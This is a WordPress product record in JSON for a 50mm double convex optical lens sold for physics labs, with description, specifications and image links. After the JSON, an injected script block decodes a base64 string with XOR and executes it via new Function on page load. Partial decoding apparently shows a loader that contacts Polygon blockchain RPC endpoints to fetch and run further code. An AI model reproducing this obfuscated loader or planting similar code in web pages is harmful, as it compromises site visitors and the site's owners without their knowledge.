{"id":29914,"date":"2026-03-10T09:56:58","date_gmt":"2026-03-10T09:56:58","guid":{"rendered":"https:\/\/srmtradingcorporation.com\/?post_type=product&#038;p=29914"},"modified":"2026-03-10T09:57:09","modified_gmt":"2026-03-10T09:57:09","slug":"double-convex-optical-lens-50mm","status":"publish","type":"product","link":"https:\/\/srmtradingcorporation.com\/?product=double-convex-optical-lens-50mm","title":{"rendered":"Double Convex Optical Lens 50mm"},"content":{"rendered":"<p><span class=\"a-size-large\">Double Convex Optical Lens 50mm that is mainly used in a physics laboratory to optical experiments in Bangladesh.\u00a0<\/span>A double convex\u00a0optical lens, or biconvex lens, curves outward on both sides. Here\u2019s a quick overview of its characteristics and applications for a 50mm diameter lens:<\/p>\n<h3>Characteristics of The Lens:<\/h3>\n<ul>\n<li>\n<ul>\n<li><strong>Shape and Design<\/strong>: The lens has two outward-curving surfaces, which helps converge light rays toward a focal point. This design allows for effective light manipulation and image formation.<\/li>\n<li><strong>Focal Length<\/strong>: The focal length is determined by the curvature of the\u00a0lens\u00a0surfaces and the refractive index of the material. A 50mm biconvex lens typically has a focal length close to 50mm, depending on its specific design.<\/li>\n<li><strong>Diameter<\/strong>: At 50mm, the lens provides a good balance between light-gathering ability and portability, making it suitable for various applications.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3>Material Options:<\/h3>\n<ul>\n<li><strong>Glass<\/strong>: Optical glass lenses offer high clarity and minimal distortion. They are ideal for high-quality imaging.<\/li>\n<li><strong>Plastic<\/strong>: Lightweight and durable, plastic lenses are often used in less demanding applications. They can be more susceptible to scratching, but modern coatings can mitigate this.<\/li>\n<\/ul>\n<h3>Applications of\u00a0<span id=\"productTitle\" class=\"a-size-large\">Convex\u00a0<\/span>Optical Lens 50mm:<\/h3>\n<ul>\n<li><strong>Cameras<\/strong>: Photographic lenses use double convex designs to focus light onto the sensor, producing sharp images.<\/li>\n<li><strong>Projectors<\/strong>: In projectors, these lenses enlarge and focus images from a light source onto a screen.<\/li>\n<li><strong>Magnifiers<\/strong>: Handheld magnifying glasses utilize biconvex lenses to provide clear magnification for reading or inspecting small details.<\/li>\n<li><strong>Microscopes<\/strong>: In optical microscopes, these lenses enhance image quality and detail at higher magnifications.<\/li>\n<li><strong>Optical Instruments<\/strong>: Devices like binoculars and telescopes incorporate double convex lenses for improved image quality.<\/li>\n<\/ul>\n<h3>Advantages:<\/h3>\n<ul>\n<li><strong>Image Quality<\/strong>: They produce sharp, clear images with minimal distortion when designed correctly.<\/li>\n<li><strong>Versatility<\/strong>: Suitable for a wide range of applications in both amateur and professional settings.<\/li>\n<li><strong>Ease of Use<\/strong>: Simple design makes them easy to incorporate into various optical systems.<\/li>\n<\/ul>\n<h3>General Uses of\u00a0<span id=\"productTitle\" class=\"a-size-large\">Convex\u00a0<\/span>Optical Lens 50mm:<\/h3>\n<ul>\n<li><strong>Imaging<\/strong>: Cameras and telescopes use double convex lenses to form clear images.<\/li>\n<li><strong>Magnification<\/strong>: You can find them in magnifying glasses and microscopes.<\/li>\n<li><strong>Optical Systems<\/strong>: These lenses play a crucial role in laser systems and other precision optical setups.<\/li>\n<\/ul>\n<ul>\n<li><\/li>\n<\/ul>\n<h2>Specification of\u00a0<span id=\"productTitle\" class=\"a-size-large\">Convex\u00a0<\/span>Optical Lens 50mm:<\/h2>\n<ul>\n<li>Optically worked<\/li>\n<li><span class=\"a-list-item\">50 mm diameter<\/span><\/li>\n<li><span class=\"a-list-item\">150 mm focal length<\/span><\/li>\n<li>Made in India<\/li>\n<li>Supplier: Labtex Bangladesh.<\/li>\n<\/ul>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-36332\" title=\"Description of Double Convex Optical Lens 50mm\" src=\"https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm.jpg\" sizes=\"auto, (max-width: 1134px) 100vw, 1134px\" srcset=\"https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm.jpg 1134w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-500x361.jpg 500w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-64x46.jpg 64w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-300x216.jpg 300w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-1024x739.jpg 1024w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-768x554.jpg 768w, https:\/\/labtexbd.com\/wp-content\/uploads\/2019\/11\/Description-of-Double-Convex-Optical-Lens-50mm-240x172.jpg 240w\" alt=\"Description of Double Convex Optical Lens 50mm\" width=\"1134\" height=\"818\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<ul>\n<li>Double Convex Optical Lens<\/li>\n<li>Diameter: 50mm (Approx.)<\/li>\n<li>Focal Length: 150 mm (Approx.)<\/li>\n<li>Packing: 1 Piece<\/li>\n<li>Made in India<\/li>\n<\/ul>\n","protected":false},"featured_media":29950,"template":"","meta":[],"product_brand":[],"product_cat":[2976],"product_tag":[],"class_list":["post-29914","product","type-product","status-publish","has-post-thumbnail","product_cat-edu-lab-materials","first","instock","shipping-taxable","purchasable","product-type-simple"],"_links":{"self":[{"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=\/wp\/v2\/product\/29914","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=\/wp\/v2\/product"}],"about":[{"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=\/wp\/v2\/types\/product"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=\/wp\/v2\/media\/29950"}],"wp:attachment":[{"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29914"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_brand&post=29914"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_cat&post=29914"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/srmtradingcorporation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_tag&post=29914"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgIQVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>